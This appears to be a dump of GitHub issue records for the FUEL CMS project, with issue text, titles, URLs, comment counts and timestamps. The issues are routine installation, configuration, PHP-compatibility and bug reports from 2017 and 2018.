Hi there I had a hard time making my new installation work. Apparently the following file needs a fix: /fuel/modules/fuel/libraries/parser/Fuel_twig_parser.php On Line 29, it has the following line: require_once(FUEL_PATH . 'libraries/parser/twig/Autoloader.php'); But it should be: require_once(FUEL_PATH . 'libraries/parser/Twig/Autoloader.php'); After fixing that, my installation works fine. Thanks Marcos
It looks like the Autoloader.php path on Fuel_twig_parser.php is not correct
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/434/comments
1
2018-02-07T19:48:29Z
2018-03-22T20:42:12Z
https://github.com/daylightstudio/FUEL-CMS/issues/434
295,269,262
434
[ "daylightstudio", "FUEL-CMS" ]
A new version of CI was released yesterday: https://www.codeigniter.com/userguide3/changelog.html#version-3-1-7 Some database related bug-fixes, so would be good to have them in.
CodeIgniter 3.1.7 released
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/433/comments
2
2018-01-14T17:27:53Z
2018-02-06T04:59:20Z
https://github.com/daylightstudio/FUEL-CMS/issues/433
288,424,789
433
[ "daylightstudio", "FUEL-CMS" ]
The `is_home` function does not expect any arguments. However, two classes try calling `is_home` with an argument, namely: * Fuel_pagevars: https://github.com/daylightstudio/FUEL-CMS/blob/develop/fuel/modules/fuel/libraries/Fuel_pagevars.php#L165 * Logout: https://github.com/daylightstudio/FUEL-CMS/blob/develop/fuel/modules/fuel/controllers/Logout.php#L33 Wasn't sure whether you want to update `is_home` itself, or the calls to it, so I'm opening this up as an issue rather than a PR.
Several calls to 'is_home' supply an unexpected argument
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/432/comments
0
2018-01-14T17:20:54Z
2018-01-22T21:30:53Z
https://github.com/daylightstudio/FUEL-CMS/issues/432
288,424,291
432
[ "daylightstudio", "FUEL-CMS" ]
Due to an empty `if` statement in the `copy_config` method, the configuration file is never actually copied. I'd suggest not using the 'at' symbol next to copy, as we're masking errors. Instead copy the result of the `copy` call into a variable, and add an error using `$this->_add_error` if the copy fails. https://github.com/daylightstudio/FUEL-CMS/blob/develop/fuel/modules/fuel/libraries/Fuel_installer.php#L724 Besides, this is `Fuel_installer`, meaning it's only called during development. We **want** devs to know the copy failed :-)
Fuel_installer.copy_config does not copy configuration file
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/431/comments
7
2018-01-14T16:13:18Z
2018-01-14T16:58:22Z
https://github.com/daylightstudio/FUEL-CMS/issues/431
288,419,645
431
[ "daylightstudio", "FUEL-CMS" ]
I tried to apply a membership of your forum,but I failed 100 times in typing the recapcha string.I am not a robot at all. In fact I want to ask if there is some easy step-to-step guide to use fuelcms,for example,after I create one page on the dashboard,how can I set it as homepage? I did not find answers yet.
Why the recapcha is so hard to understand?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/429/comments
1
2018-01-09T04:31:43Z
2018-01-09T16:20:26Z
https://github.com/daylightstudio/FUEL-CMS/issues/429
286,967,479
429
[ "daylightstudio", "FUEL-CMS" ]
Not Found The requested URL /fuel/start was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. Apache Server at bigdrumcapital.com Port 80
I can't access my fuel dashboard and am seeing this error below; What should i do?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/425/comments
7
2017-11-16T15:47:47Z
2021-04-15T18:35:35Z
https://github.com/daylightstudio/FUEL-CMS/issues/425
274,563,849
425
[ "daylightstudio", "FUEL-CMS" ]
A PHP Error was encountered Severity: Notice Message: Only variables should be passed by reference Filename: _layouts/main.php Line Number: 46 see the code below <?php $this->load->view('_blocks/header')?> <main class="container"> <?php /* BREADCRUMBS */ ?> <?php if(!is_home()): ?> <div class="breadcrumbs"> <?php echo fuel_nav(array('render_type' => 'breadcrumb')); ?> </div> <?php endif; ?> <?php /* RIGHT SIDE WITH SIDE MENU AND BLCOKS */ ?> <?php if (!empty($blocks) OR !empty($sidemenu)) : ?> <?php if (!empty($sidemenu)) : ?> <div class="left-sidemenu"> <?php echo $sidemenu; ?> </div> <?php endif ?> <?php if (!empty($blocks)) : ?> <div id="blocks"> <?php foreach($blocks as $block) : ?> <div class="block"> <?php echo fuel_block($block); ?> </div> <?php endforeach; ?> </div> <?php endif; ?> <?php endif; ?> <div class="main <?php echo !empty($sidemenu) ? "has-sidemenu" : "" ?>"> <?php if ( !empty($featured_image) && !is_home() ): ?> <?php // print_r(fuel_model('fuel_pagevariables', array('find' => 'all')));?> <div class="featured-image"> <img src="<?php echo img_path(fuel_var('featured_image'))?>" /> </div> <?php endif; ?> <?php if( !is_home() ): ?> <h1><?php echo fuel_var('page_title'); ?></h1> <?php endif; ?> <?php $cur_url = current_url(); $slug = end(explode('/', $cur_url)); $resources = $category = $this->fuel->categories->find_by_slug($slug); ?> <div class="main-body<?= !empty($resources) ? ' has-resources' : '' ?>"> <?php echo fuel_var('body', ''); ?> </div> <?php echo fuel_block('pdf-right'); ?> <?php echo fuel_block('pdf-display'); ?> <?php if(!empty($related_pages)){ echo '<div class="related-pages">'; echo '<h3>Related Pages</h3>'; echo $related_pages; echo '</div>'; } ?> </main> <div class="clear"></div> <?php $this->load->view('_blocks/footer')?> where should i fix to sort my main ?
A PHP Error was encountered on my website for fuel http://bigdrumcapital.com/cms
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/424/comments
1
2017-11-15T09:28:30Z
2019-03-27T01:51:59Z
https://github.com/daylightstudio/FUEL-CMS/issues/424
274,087,998
424
[ "daylightstudio", "FUEL-CMS" ]
Would anyone be able to explain why or why not the eval function is potentially vulnerable inside of loader.php? Specifically on line 392. Also, same question for compatibility_helper.php on line 136.
use of eval
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/423/comments
2
2017-11-06T12:40:33Z
2017-11-06T15:51:34Z
https://github.com/daylightstudio/FUEL-CMS/issues/423
271,461,993
423
[ "daylightstudio", "FUEL-CMS" ]
page http://docs.getfuelcms.com/libraries/fuel_layouts is down
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/422/comments
0
2017-10-16T14:42:28Z
2017-10-16T14:42:28Z
https://github.com/daylightstudio/FUEL-CMS/issues/422
265,795,223
422
[ "daylightstudio", "FUEL-CMS" ]
In Fuel_assets.php it iterates over the $_FILES array and checks if the ['error'] property is zero before uploading but does not report back to the user if the property is not zero
Asset upload not reporting errors
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/420/comments
0
2017-10-04T15:07:39Z
2017-10-04T15:07:39Z
https://github.com/daylightstudio/FUEL-CMS/issues/420
262,823,299
420
[ "daylightstudio", "FUEL-CMS" ]
I set up FUEL-CMS-master.zip from github (version 1.4), followed all the installations instructions but accessing the admin-page is not possible due to some kind of login-error (HOSTNAME/fuel-1.4.0/fuel/login/5a6e566c6243396b59584e6f596d3968636d513d). Can't find out why. On the html-page it says: invalid login. I've set $config['uri_protocol'] = 'QUERY_STRING'; according to http://forum.getfuelcms.com/discussion/1613/first-time-login-fail-/p1 But no effects. I've tried to get an account at http://forum.getfuelcms.com/entry/register but my 'humanity' seems suppicous. I wouldn't doubt that. At least I don't get a login there. What a pity! Also there's some minor errors on some php functions (behind the html)... Are they more than minor? Don't know... Thanks for helping! <h4>A PHP Error was encountered</h4> --   |     | <p>Severity: Warning</p>   | <p>Message: preg_replace_callback() [<a href='function.preg-replace-callback'>function.preg-replace-callback</a>]: Compilation failed: unrecognized character after (?&lt; at offset 5</p>   | <p>Filename: core/Security.php</p>   | <p>Line Number: 522</p>   |     |     | <p>Backtrace:</p>   |     |     |     |     |     |     |     |     |     |     |     |     |     |     | <p style="margin-left:10px">   | File: /home/luc/www/fuel-1.4.0/fuel/modules/fuel/controllers/Login.php<br />   | Line: 81<br />   | Function: post </p>   |     |     |     |     |     |     |     |     | <p style="margin-left:10px">   | File: /home/luc/www/fuel-1.4.0/index.php<br />   | Line: 364<br />   | Function: require_once </p>   |     |     |     |     | </div>   | <div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">   |     | <h4>A PHP Error was encountered</h4>   |     | <p>Severity: Warning</p>   | <p>Message: preg_replace_callback() [<a href='function.preg-replace-callback'>function.preg-replace-callback</a>]: Compilation failed: unrecognized character after (?&lt; at offset 5</p>   | <p>Filename: core/Security.php</p>   | <p>Line Number: 522</p>   |     |     | <p>Backtrace:</p>   |     |     |     |     |     |     |     |     |     |     |     |     |     |     | <p style="margin-left:10px">   | File: /home/luc/www/fuel-1.4.0/fuel/modules/fuel/controllers/Login.php<br />   | Line: 81<br />   | Function: post </p>   |     |     |     |     |     |     |     |     | <p style="margin-left:10px">   | File: /home/luc/www/fuel-1.4.0/index.php<br />   | Line: 364<br />   | Function: require_once </p>   |     |     |  
After clean-install login/pw admin/admin says 'invalid login'
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/419/comments
5
2017-09-06T10:34:18Z
2019-03-27T02:06:08Z
https://github.com/daylightstudio/FUEL-CMS/issues/419
255,556,896
419
[ "daylightstudio", "FUEL-CMS" ]
I have installed fuel cms on my local system. i have installed fuelcms on http://localhost/fuelcms/ and trying to access admin login from http://localhost/fuelcms/login I followed the instruction for installation and click on the link for admin panel. But it redirects me to http://localhost/dashboard page
Cannot access admin login page.
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/418/comments
2
2017-08-28T21:01:01Z
2017-08-29T06:20:33Z
https://github.com/daylightstudio/FUEL-CMS/issues/418
253,455,612
418
[ "daylightstudio", "FUEL-CMS" ]
I'm working on a site that uses Fuel CMS and discovered a difficult to track down bug. When I click on the edit button in the admin panel: ![edit1](https://user-images.githubusercontent.com/30811068/29222734-c209e37a-7e91-11e7-85b6-e1688a428d12.png) It only shows a small portion of a static header image. The rest of the response is blank. The browser inspector shows that there is a 404 error while fetching the page `/admin/undefined/inline_edit/1`. The `undefined` is from the lack of a `data-module` attribute. dd ![edit2](https://user-images.githubusercontent.com/30811068/29222749-cedba232-7e91-11e7-86bc-3b7ea188f5af.png) So it took a lot of digging through source code but I discovered the reason for the 404, and `undefined` in the URL path was because the file `application/config/MY_fuel_modules.php` was missing a module definition: ```php $config['modules']['campaign_toolkit_categories'] = array( 'module_name' => 'Campaign Toolkit Categories' ); ``` I think when rendering the modal window it would be useful to display an error message when this happens. Best of course if it can specify the real problem ("module name is undefined" or something) but even a simple "resource failed to load" would be better than showing what looks like a block that may have failed to render or has bad CSS that sets the height very small. Thank you for your consideration of this issue.
Edit modal empty when a module is not defined
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/416/comments
1
2017-08-11T17:51:35Z
2017-09-06T20:08:05Z
https://github.com/daylightstudio/FUEL-CMS/issues/416
249,704,298
416
[ "daylightstudio", "FUEL-CMS" ]
https://forum.codeigniter.com/thread-68279.html P/s: how to manual update/upgrade new version fuel cms
Latest version for codeigniter release.
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/415/comments
1
2017-07-04T12:48:55Z
2017-07-09T12:15:57Z
https://github.com/daylightstudio/FUEL-CMS/issues/415
240,411,185
415
[ "daylightstudio", "FUEL-CMS" ]
When trying to load the site I'm receiving numerous Errors and exceptions.
I'm unable to access my Fuel CMS account
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/414/comments
7
2017-07-04T12:12:24Z
2018-03-22T20:42:45Z
https://github.com/daylightstudio/FUEL-CMS/issues/414
240,402,639
414
[ "daylightstudio", "FUEL-CMS" ]
Hello Community, I have the FuelCMS installed a while ago and am a German user. How can I install German language in the backend and frontend. I have defined it in the fuel.php so, but in the backend the changes do not show. ``` |-------------------------------------------------------------------------- | Language settings |-------------------------------------------------------------------------- */ // Languages for pages. The key is saved to the page variables $config['languages'] = array( 'german' => 'German' ); $config['settings'] = array(); $config['settings']['languages'] = array( 'type' => 'keyval', 'fields' => array( 'key' => array('ignore_representative' => TRUE), 'label' => array('ignore_representative' => TRUE), ), 'class' => 'repeatable', 'repeatable' => TRUE, 'ignore_representative' => TRUE ); $this->fuel->language->set_selected('de'); ``` What am I doing wrong? Thanks in advance.
How can I change FuelCMS to German?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/413/comments
4
2017-06-21T06:51:56Z
2019-03-27T01:55:55Z
https://github.com/daylightstudio/FUEL-CMS/issues/413
237,431,812
413
[ "daylightstudio", "FUEL-CMS" ]
I Want to transfer my website From a subfolder website to another folder website, but different servers and to transfer from one subfolder where i developed it from to a main domain. i need help see what i mean; --- From this link http://worldblogged.com/cms to this link http://icpau.co.ug/ (subfolder to the main directory on different servers) ---From this link http://worldblogged.com/cms to this link http://icpau.co.ug/new (subfolder to subfolder on different servers)
I Want to transfer my website From a sub folder website to another folder website, but different servers
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/412/comments
1
2017-05-30T13:58:11Z
2017-06-17T21:40:52Z
https://github.com/daylightstudio/FUEL-CMS/issues/412
232,262,175
412
[ "daylightstudio", "FUEL-CMS" ]
Can't import the 'fuel_schema.sql'. it's loading and loading.. Nothing is happening? Help i'm a beginner (phpmyadmin is working alright, i'm importing & Exporting other sql files.)
Can't import database
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/411/comments
4
2017-05-30T11:28:02Z
2017-05-31T10:14:26Z
https://github.com/daylightstudio/FUEL-CMS/issues/411
232,222,043
411
[ "daylightstudio", "FUEL-CMS" ]
Hospital_model protected $key_field = 'hospital_id'; Doctors_model public $has_many = array( 'hospitals' => array('hospitals_model'), ); error Unknown column 'slmc_hospitals.id' in 'where clause' SELECT `slmc_hospitals`.* FROM `slmc_hospitals` WHERE `slmc_hospitals`.`id` IN(2) AND `slmc_hospitals`.`published` = 'yes' What is wrong in my code, thank you.
$key_field not working
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/410/comments
6
2017-05-06T07:07:18Z
2017-06-17T21:41:17Z
https://github.com/daylightstudio/FUEL-CMS/issues/410
226,746,034
410
[ "daylightstudio", "FUEL-CMS" ]
Hi FUEL-CMS Team, I have encountered this error when the CSRF enabled. After submitting the form with image, there's an error displaying: **The action you have requested is not allowed.** But when you submit the form without selecting the image to be uploaded, the submission is successful. Maybe there's a conflict in the CSRF token between the "Upload Asset" and form submit. Hoping for your immediate response. Thank you! :)
Form submission with image upload not working when CSRF enabled
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/409/comments
5
2017-04-26T07:58:31Z
2017-06-17T21:40:42Z
https://github.com/daylightstudio/FUEL-CMS/issues/409
224,376,888
409
[ "daylightstudio", "FUEL-CMS" ]
hi I unzipped the folder on my local xampp server. ![trytrytry](https://cloud.githubusercontent.com/assets/4601676/25288418/959c7a8c-26da-11e7-89c6-47ad76f829f1.JPG) my .htaccess file: ``` Options +FollowSymLinks <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /FUEL-CMS-master/ <Files .*> Order Deny,Allow Deny From All </Files> # Allow asset folders through RewriteRule ^(fuel/modules/(.+)?/assets/(.+)) - [L] # Protect application and system files from being viewed RewriteRule ^(fuel/install/.+|fuel/crons/.+|fuel/data_backup/.+|fuel/codeigniter/.+|fuel/modules/.+|fuel/application/.+) - [F,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule .* index.php/$0 [L] # Prevents access to dot files (.git, .htaccess) - security. RewriteCond %{SCRIPT_FILENAME} -d RewriteCond %{SCRIPT_FILENAME} -f RewriteRule "(^|/)\." - [F] </IfModule> Options -Indexes ``` but when I enter this url I got 404 page not found: http://localhost:8085/FUEL-CMS-master/fuel/dashboard where is my problem?
404 Page Not Found error
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/407/comments
1
2017-04-21T17:09:05Z
2017-06-17T21:41:01Z
https://github.com/daylightstudio/FUEL-CMS/issues/407
223,443,196
407
[ "daylightstudio", "FUEL-CMS" ]
Hi FUEL CMS Team, I have installed fuel cms on my local system. I followed the instruction for installation and click on the link http://localhost/FUEL-CMS-master/fuel/fuel/fuel but redirect the phpmyadmin.. so how to resolve this issue
installation error occured
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/406/comments
1
2017-04-13T07:43:36Z
2017-06-17T21:41:32Z
https://github.com/daylightstudio/FUEL-CMS/issues/406
221,483,696
406
[ "daylightstudio", "FUEL-CMS" ]
## Issue On a Windows 10 machine, the FuelCMS 1.4.1 update script shows errors when invoked, and none of the files are updated. ``` C:\wamp64\www\fuelcms-project>php index.php fuel/installer/update FUEL CMS 1.4x is built on CodeIgniter 3. If you are upgrading from 1.3x or earlier, this updater will help fix some of the common issues when upgrading including: 1) Upper-case first letter for models, libraries and controller file names. 2) Will upper case common references to Base_module_model.php within model files. 3) Update common method signatures in models and libraries like form_fields, _common_query and initialize to match their parent's signature. WARNING: Run this ONLY if you are using GIT in case you need to roll back! Do you wish to continue (y/n) y fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument fatal: Could not switch to '/C:/': Invalid argument Update complete! C:\wamp64\www\fuelcms-project> ``` ## Solution (Windows 10) I got it working with two changes: - Removed `$cmd2` defined [here](https://github.com/daylightstudio/FUEL-CMS/blob/1.4.1/fuel/modules/fuel/libraries/Fuel.php#L376), and its usage [below](https://github.com/daylightstudio/FUEL-CMS/blob/1.4.1/fuel/modules/fuel/libraries/Fuel.php#L391). Obviously this means the update will only work for people using Git with their project. - Commented out [line 380 in the same file](https://github.com/daylightstudio/FUEL-CMS/blob/1.4.1/fuel/modules/fuel/libraries/Fuel.php#L380). What is it used for? ``` C:\wamp64\www\fuelcms-project>php index.php fuel/installer/update FUEL CMS 1.4x is built on CodeIgniter 3. If you are upgrading from 1.3x or earlier, this updater will help fix some of the common issues when upgrading including: 1) Upper-case first letter for models, libraries and controller file names. 2) Will upper case common references to Base_module_model.php within model files. 3) Update common method signatures in models and libraries like form_fields, _common_query and initialize to match their parent's signature. WARNING: Run this ONLY if you are using GIT in case you need to roll back! Do you wish to continue (y/n) y REPLACED: models/base_module_model.php => models/Base_module_model.php REPLACED: models/base_module_model.php => models/Base_module_model.php REPLACED: models/base_module_model.php => models/Base_module_model.php REPLACED: models/base_module_model.php => models/Base_module_model.php REPLACED: models/base_module_model.php => models/Base_module_model.php REPLACED: models/base_module_model.php => models/Base_module_model.php REPLACED: models/base_module_model.php => models/Base_module_model.php REPLACED: function form_fields($values = array()) => function form_fields($values = array(), $related = array()) REPLACED: models/base_module_model.php => models/Base_module_model.php REPLACED: function form_fields($values = array()) => function form_fields($values = array(), $related = array()) REPLACED: models/base_module_model.php => models/Base_module_model.php REPLACED: models/base_module_model.php => models/Base_module_model.php Update complete! C:\wamp64\www\fuelcms-project> ``` ## Other possible solution Alternatively there could be a second prompt that verifies the user really uses Git with their project. If they do, use `$cmd1` only. If they don't, don't use `$cmd1` and instead use either `mv` or `move` depending on whether the constant `PHP_WINDOWS_VERSION_BUILD` is defined (FuelCMS already uses this to check whether Windows is the OS in the `secret` method in `Cli.php` for example).
1.4.1 update CLI tool does not work when invoked via Windows command line
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/404/comments
0
2017-04-02T20:26:18Z
2018-03-18T20:55:37Z
https://github.com/daylightstudio/FUEL-CMS/issues/404
218,791,039
404
[ "daylightstudio", "FUEL-CMS" ]
Please can anyone guide and help me on how to create a slider on my homepage for the pages i have created inside my CMS?? Need help?
How to create a slider using featured images on posts of fuel cms?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/402/comments
6
2017-03-20T17:52:01Z
2017-06-17T21:41:59Z
https://github.com/daylightstudio/FUEL-CMS/issues/402
215,503,343
402
[ "daylightstudio", "FUEL-CMS" ]
Hi I am useing fuel cms in ubuntu 16 Error list below when i render any page A PHP Error was encountered Severity: Warning Message: Declaration of MX_Loader::library($library, $params = NULL, $object_name = NULL) should be compatible with CI_Loader::library($library = '', $params = NULL, $object_name = NULL) Filename: MX/Loader.php Line Number: 0 A PHP Error was encountered Severity: Warning Message: Declaration of MX_Loader::helper($helper) should be compatible with CI_Loader::helper($helpers = Array) Filename: MX/Loader.php Line Number: 0 A PHP Error was encountered Severity: Warning Message: Declaration of MX_Loader::helpers($helpers) should be compatible with CI_Loader::helpers($helpers = Array) Filename: MX/Loader.php Line Number: 0 A PHP Error was encountered Severity: Warning Message: Declaration of MX_Loader::language($langfile, $lang = '', $return = false) should be compatible with CI_Loader::language($file = Array, $lang = '') Filename: MX/Loader.php Line Number: 0 A PHP Error was encountered Severity: Warning Message: Declaration of MX_Loader::_ci_get_component($component) should be compatible with & CI_Loader::_ci_get_component($component) Filename: MX/Loader.php Line Number: 0 A PHP Error was encountered Severity: Warning Message: Declaration of MX_Lang::load($langfile, $lang = '', $return = false, $_module = NULL) should be compatible with CI_Lang::load($langfile = '', $idiom = '', $return = false, $add_suffix = true, $alt_path = '') Filename: MX/Lang.php Line Number: 0 A PHP Error was encountered Severity: Notice Message: Only variables should be assigned by reference Filename: core/Loader.php Line Number: 657 A PHP Error was encountered Severity: Notice Message: Array to string conversion Filename: libraries/Fuel_navigation.php Line Number: 248 Welcome to Fuel CMS Version 1.3.2 Getting Started 1 Change the Apache .htaccess file Change the Apache .htaccess found at the root of FUEL CMS's installation folder to the proper RewriteBase directory. The default is your web server's root directory (e.g "/"), but if you have FUEL CMS installed in a sub folder, you will need to add the path to line 5. If you are using the folder it was zipped up in from GitHub, it would be RewriteBase /FUEL-CMS-master/. In some server environments, you may need to add a "?" after index.php in the .htaccess like so: RewriteRule .* index.php?/$0 [L] NOTE: This is the only step needed if you want to use FUEL without the CMS. 2 Install the database Install the FUEL CMS database by first creating the database in MySQL and then importing the fuel/install/fuel_schema.sql file. After creating the database, change the database configuration found in fuel/application/config/database.php to include your hostname (e.g. localhost), username, password and the database to match the new database you created. 3 Make folders writable Make the following folders writable (666 = rw-rw-rw, 777 = rwxrwxrwx, etc.): /var/www/html/FUEL-CMS-master/fuel/application/cache/ (folder for holding cache files) /var/www/html/FUEL-CMS-master/fuel/application/cache/dwoo/ (folder for holding template cache files) /var/www/html/FUEL-CMS-master/fuel/application/cache/dwoo/compiled (for writing compiled template files) /var/www/html/FUEL-CMS-master/assets/images (for managing image assets in the CMS) 4 Make configuration changes In the fuel/application/config/config.php, change the $config['encryption_key'] to your own unique key. In the fuel/application/config/MY_fuel.php file, change the $config['admin_enabled'] configuration property to TRUE. If you do not want the CMS accessible, leave it as FALSE. In the fuel/application/config/MY_fuel.php file, change the $config['fuel_mode'] configuration property to AUTO. This must be done only if you want to view pages created in the CMS. That's it! To access the FUEL admin, go to: http://localhost/FUEL-CMS-master/fuel User name: admin Password: admin (you can and should change this password and admin user information after logging in) What's Next? User Guide Visit the 1.0 user guide online Get rolling FUEL CMS is open source and on GitHub for a good reason. The communities involvement is an important part of it's success. If you have any ideas for improvement, or even better, a GitHub pull request, please let us know. Need help? Visit the FUEL CMS Forum. Found a bug? Report it on GitHub. Subscribe to our Twitter feed for FUEL CMS notifications. Visit our blog for tips and news. Visit our developer page for additional modules. To change the contents of this homepage, edit the fuel/application/views/home.php file. Happy coding! Home Features Developers Support Blog FUEL CMS is developed with love by Daylight Studio © 2017 Daylight Studio LLC, All Rights Reserved.
fuel cms not working on php 7?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/401/comments
1
2017-03-15T04:30:49Z
2019-03-27T01:56:07Z
https://github.com/daylightstudio/FUEL-CMS/issues/401
214,279,714
401
[ "daylightstudio", "FUEL-CMS" ]
Hi I am new in fuel cms and CI. I want create home page with angularjs but this is not wokring on created paged from fuel csm admin.
angularjs code did not work in any blocks and layout
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/400/comments
0
2017-03-15T04:14:58Z
2021-04-15T18:34:38Z
https://github.com/daylightstudio/FUEL-CMS/issues/400
214,277,942
400
[ "daylightstudio", "FUEL-CMS" ]
I want to create a slider on my home page but it's no where in the documentation ?
How should i create a slider of images with links on my home page?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/399/comments
0
2017-02-27T14:58:29Z
2017-02-27T14:58:29Z
https://github.com/daylightstudio/FUEL-CMS/issues/399
210,507,759
399
[ "daylightstudio", "FUEL-CMS" ]
Please i have create some blocks in the dash fuel cms dashboard and i want them to appear on my home page, how am i going to call them appear and partition the home page these are the blocks i have created in the cms dashboard: {$student_block} {$homeleft} I need help
how and where should i place my blocks have created from the fuel cms dashboard into the home page in my fuel site
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/398/comments
0
2017-02-24T13:47:57Z
2017-02-24T13:47:57Z
https://github.com/daylightstudio/FUEL-CMS/issues/398
210,052,333
398
[ "daylightstudio", "FUEL-CMS" ]
Dear members am at a stand still i want to insert my images in the header and home page of my website am developing which uses fuel cms, but have tried all avenues and i have failed. this is my site: http://worldblogged.com/cms/ Please can someone send me sample codes on how to call those images from the image folder on my site to the header and home page body and other pages. i have read the documentation and no help in it.
How to insert images like logo in my header getting them from the image folder of my website
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/397/comments
6
2017-02-24T12:19:45Z
2017-06-17T21:42:16Z
https://github.com/daylightstudio/FUEL-CMS/issues/397
210,034,999
397
[ "daylightstudio", "FUEL-CMS" ]
**A PHP Error was encountered** Severity: Warning Message: Declaration of MX_Loader::library($library, $params = NULL, $object_name = NULL) should be compatible with CI_Loader::library($library = '', $params = NULL, $object_name = NULL) Filename: MX/Loader.php Line Number: 403 **A PHP Error was encountered** Severity: Warning Message: Declaration of MX_Loader::helper($helper) should be compatible with CI_Loader::helper($helpers = Array) Filename: MX/Loader.php Line Number: 0 **A PHP Error was encountered** Severity: Warning Message: Declaration of MX_Loader::helpers($helpers) should be compatible with CI_Loader::helpers($helpers = Array) Filename: MX/Loader.php Line Number: 0 **A PHP Error was encountered** Severity: Warning Message: Declaration of MX_Loader::language($langfile, $lang = '', $return = false) should be compatible with CI_Loader::language($file = Array, $lang = '') Filename: MX/Loader.php Line Number: 0 **A PHP Error was encountered** Severity: Warning Message: Declaration of MX_Loader::_ci_get_component($component) should be compatible with & CI_Loader::_ci_get_component($component) Filename: MX/Loader.php Line Number: 0 **A PHP Error was encountered** Severity: Warning Message: Declaration of MX_Lang::load($langfile, $lang = '', $return = false, $_module = NULL) should be compatible with CI_Lang::load($langfile = '', $idiom = '', $return = false, $add_suffix = true, $alt_path = '') Filename: MX/Lang.php Line Number: 94 **A PHP Error was encountered** Severity: Notice Message: Only variables should be assigned by reference Filename: core/Loader.php Line Number: 657 **A PHP Error was encountered** Severity: 8192 Message: Methods with the same name as their class will not be constructors in a future version of PHP; Markdown_Parser has a deprecated constructor Filename: helpers/markdown_helper.php Line Number: 193 **A PHP Error was encountered** Severity: Notice Message: Array to string conversion Filename: libraries/Fuel_navigation.php Line Number: 248
Please help me i got error at first page. using xampp v3.2.2 php 7.1.1
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/396/comments
3
2017-02-12T03:05:18Z
2018-03-22T20:39:37Z
https://github.com/daylightstudio/FUEL-CMS/issues/396
207,025,248
396
[ "daylightstudio", "FUEL-CMS" ]
Now i have made the home page style http://worldblogged.com/cms/about%20us but it looks simillar to the inside pages like contact us and about us. So how do make different layouts for my inside pages to look totally different from the home pgae? And how do i add left and right side bars in the pages? thanks
i have made the home page but how do i differentiate the inside pages and create sidebars?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/395/comments
1
2017-01-25T12:00:17Z
2017-06-17T22:27:57Z
https://github.com/daylightstudio/FUEL-CMS/issues/395
203,084,091
395
[ "daylightstudio", "FUEL-CMS" ]
Dear Members where do i find the index file for my fuel cms (like this one i am working on http://worldblogged.com/cms/). i want to use it as my home page and to give it layouts, blocks and menus. so as to differentiate it from the inside pages. Where should i find it in my folders to edit it's css?? help me please
where do i find the home page of my fuel cms website ?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/394/comments
1
2017-01-24T14:02:57Z
2017-06-17T21:44:36Z
https://github.com/daylightstudio/FUEL-CMS/issues/394
202,826,207
394
[ "daylightstudio", "FUEL-CMS" ]
where is the file for storing content of the page or post located, because what i post in the page's body and post appears in the header section on the front end. Where is the file located to store the content in body ?
where is the file for storing content of the page or post located?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/393/comments
1
2017-01-15T10:35:17Z
2017-06-17T21:44:29Z
https://github.com/daylightstudio/FUEL-CMS/issues/393
200,861,043
393
[ "daylightstudio", "FUEL-CMS" ]
Wrote this conclusion the categories in the menu automatically: ``` <?php $posts = fuel_model('categories'); ?> <?php if (!empty($posts)) : ?> <?php foreach($posts as $post) : ?> <? $title = $post->name;?> <? $url = $post->slug;?> <? $nav[$title] = array('label' => $title, 'parent_id' => $title); ?> <?php endforeach; ?> <?php endif; ?> ``` How can you separate the main categories and their subcategories?(To display subcategories under their main categories) **Thanks in advance for the help!**
Automatic output of the categories in the menu
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/392/comments
1
2017-01-10T20:09:45Z
2017-06-17T21:44:44Z
https://github.com/daylightstudio/FUEL-CMS/issues/392
199,921,342
392
[ "daylightstudio", "FUEL-CMS" ]
